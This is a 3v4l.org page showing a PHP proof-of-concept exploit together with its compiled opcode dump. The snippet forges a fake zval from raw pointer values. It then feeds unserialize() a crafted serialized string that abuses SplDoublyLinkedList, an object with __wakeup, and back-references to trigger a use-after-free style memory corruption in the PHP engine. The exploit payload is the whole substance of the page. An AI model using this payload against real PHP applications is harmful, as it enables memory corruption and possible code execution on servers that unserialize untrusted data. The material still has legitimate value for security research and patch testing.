3v4l.org

run code in 300+ PHP versions simultaneously
<?php class obj { var $ryat; function __wakeup() { $this->ryat = 1; } } $fakezval = ptr2str(1122334455); $fakezval .= ptr2str(0); $fakezval .= "\x00\x00\x00\x00"; $fakezval .= "\x01"; $fakezval .= "\x00"; $fakezval .= "\x00\x00"; $inner = 'i:1234;:i:1;'; $exploit = 'a:5:{i:0;i:1;i:1;C:19:"SplDoublyLinkedList":'.strlen($inner).':{'.$inner.'}i:2;O:3:"obj":1:{s:4:"ryat";R:3;}i:3;a:1:{i:0;R:5;}i:4;s:'.strlen($fakezval).':"'.$fakezval.'";}'; $data = unserialize($exploit); var_dump($data);
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/ka92C
function name:  (null)
number of ops:  32
compiled vars:  !0 = $fakezval, !1 = $inner, !2 = $exploit, !3 = $data
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
   10     0  E >   INIT_FCALL_BY_NAME                                       'ptr2str'
          1        SEND_VAL_EX                                              1122334455
          2        DO_FCALL                                      0  $4      
          3        ASSIGN                                                   !0, $4
   11     4        INIT_FCALL_BY_NAME                                       'ptr2str'
          5        SEND_VAL_EX                                              0
          6        DO_FCALL                                      0  $6      
          7        ASSIGN_OP                                     8          !0, $6
   12     8        ASSIGN_OP                                     8          !0, '%00%00%00%00'
   13     9        ASSIGN_OP                                     8          !0, '%01'
   14    10        ASSIGN_OP                                     8          !0, '%00'
   15    11        ASSIGN_OP                                     8          !0, '%00%00'
   17    12        ASSIGN                                                   !1, 'i%3A1234%3B%3Ai%3A1%3B'
   18    13        STRLEN                                           ~13     !1
         14        CONCAT                                           ~14     'a%3A5%3A%7Bi%3A0%3Bi%3A1%3Bi%3A1%3BC%3A19%3A%22SplDoublyLinkedList%22%3A', ~13
         15        CONCAT                                           ~15     ~14, '%3A%7B'
         16        CONCAT                                           ~16     ~15, !1
         17        CONCAT                                           ~17     ~16, '%7Di%3A2%3BO%3A3%3A%22obj%22%3A1%3A%7Bs%3A4%3A%22ryat%22%3BR%3A3%3B%7Di%3A3%3Ba%3A1%3A%7Bi%3A0%3BR%3A5%3B%7Di%3A4%3Bs%3A'
         18        STRLEN                                           ~18     !0
         19        CONCAT                                           ~19     ~17, ~18
         20        CONCAT                                           ~20     ~19, '%3A%22'
         21        CONCAT                                           ~21     ~20, !0
         22        CONCAT                                           ~22     ~21, '%22%3B%7D'
         23        ASSIGN                                                   !2, ~22
   20    24        INIT_FCALL                                               'unserialize'
         25        SEND_VAR                                                 !2
         26        DO_ICALL                                         $24     
         27        ASSIGN                                                   !3, $24
   22    28        INIT_FCALL                                               'var_dump'
         29        SEND_VAR                                                 !3
         30        DO_ICALL                                                 
         31      > RETURN                                                   1

Class obj:
Function __wakeup:
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/ka92C
function name:  __wakeup
number of ops:  3
compiled vars:  none
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    6     0  E >   ASSIGN_OBJ                                               'ryat'
          1        OP_DATA                                                  1
    7     2      > RETURN                                                   null

End of function __wakeup

End of class obj.

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
176.12 ms | 1396 KiB | 17 Q